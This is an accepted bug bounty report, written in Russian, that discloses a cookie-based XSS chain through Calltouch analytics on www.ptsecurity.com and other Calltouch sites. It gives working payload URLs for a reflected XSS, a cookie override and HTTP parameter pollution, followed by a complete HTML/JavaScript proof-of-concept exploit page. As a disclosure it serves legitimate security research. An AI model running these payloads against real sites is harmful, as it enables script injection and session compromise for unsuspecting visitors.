[www.ptsecurity.com] XSS через Сalltouch

Summary by the hacker
Используя уязвимости аналитики Сalltouch, используемой на сайте www.ptsecurity.com, возможно выполнение произвольного JavaScript кода в контексте www.ptsecurity.com, а также ЛЮБОГО сайта, использующего Сalltouch.

Шаги для воспроизведения

Шаг #1 (XSS на calltouch и создание cookie _ct[client_global_id)

 
  • Открыть ссылку:
 http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=%3Cscript%3Edocument.cookie=%22_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;%22%3C/script%3E
Данный шаг необходим в случае, если пользователь ранее открывал сайт www.ptsecurity.com и имеет в контексте сайта mod.calltouch.ru cookie _ct_client_global_id.
Сайт открывается по HTTP, чтобы сценарий global_cookie.php не получил существующее значение cookie _ct_client_global_id, так как оно установлено с аттрибутом Secure.
Далее, через уязвимость XSS в сценарии global_cookie.php создается значение _ct[client_global_id, которое при следующем запросе будет идти первым в списке Cookie и заблокирует реальное значение _ct_client_global_id.
Символ [ в ключе cookie обрабатывается PHP как _.
 

Шаг #2 (Перезапись заблокированной cookie через ctClientGlobalId)

 
  • Открыть ссылку
 https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx%26ctObject='-alert(document.domain)-'
При открытии ссылки отправится запрос, содержащий заголовок
 Cookie: _ct[client_global_id=; _ct_client_global_id=<реальное_значение>;
Сценарий global_cookie.php в результате не получит значение из Cookie и обработает параметр из _GET ctClientGlobalId.
 

Шаг #3 (Обновление cookie в контексте www.ptsecurity.com)

 
  • Открыть ссылку
 https://www.ptsecurity.com/ru-ru/
Сайт www.ptsecurity.com обращается к сценарию mod.calltouch.ru/global_cookie.php и обновляет свою cookie _ct_client_global_id в значение xxx&ctObject='-alert(document.domain)-'
 

Шаг #4 (Вызов XSS через HTTP Parameter Pollution)

  • Еще раз открыть ссылку
 https://www.ptsecurity.com/ru-ru/
Сайт www.ptsecurity.com обращается к сценарию mod.calltouch.ru/d_client_new.js, поставляет значение cookie _ct_client_global_id в параметр ctClientGlobalId.
Через HTTP Parameter Pollution переопределяется параметр ctObject в значение '-alert(document.domain)-' и генерируется следующий JavaScript
 if (window[''-alert(document.domain)-''] && typeof window[''-alert(document.domain)-''] === 'function') {
В результате эксплуатации получается XSS через Cookie, которая вызывается каждый раз на любой странице, которая использует calltouch.

 
Пример эксплуатации

 <button onclick="step1()">Exploit</button>
 <script>
   var w
 
   function step1() {
     w = window.open("http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=%3Cscript%3Edocument.cookie=%22_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;%22%3C/script%3E")
     window.focus()
     setTimeout(step2, 3000)
   }
 
   function step2() {
     w.location = "https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx%26ctObject='-alert(document.domain)-'"
     setTimeout(step3, 3000)
   }
 
   function step3() {
     w.location = "https://www.ptsecurity.com/ru-ru/"
     setTimeout(step4, 5000)
   }
 
   function step4() {
     w.location = "https://www.ptsecurity.com/ru-ru/"
   }
 </script>
Reward
₽7,777
Positive Technologies
Positive Technologies
Report No.: 4
Created: August 02, 09:24
Author: BlackFan
Status: Accepted
Type: Vulnerability
Severity:
Medium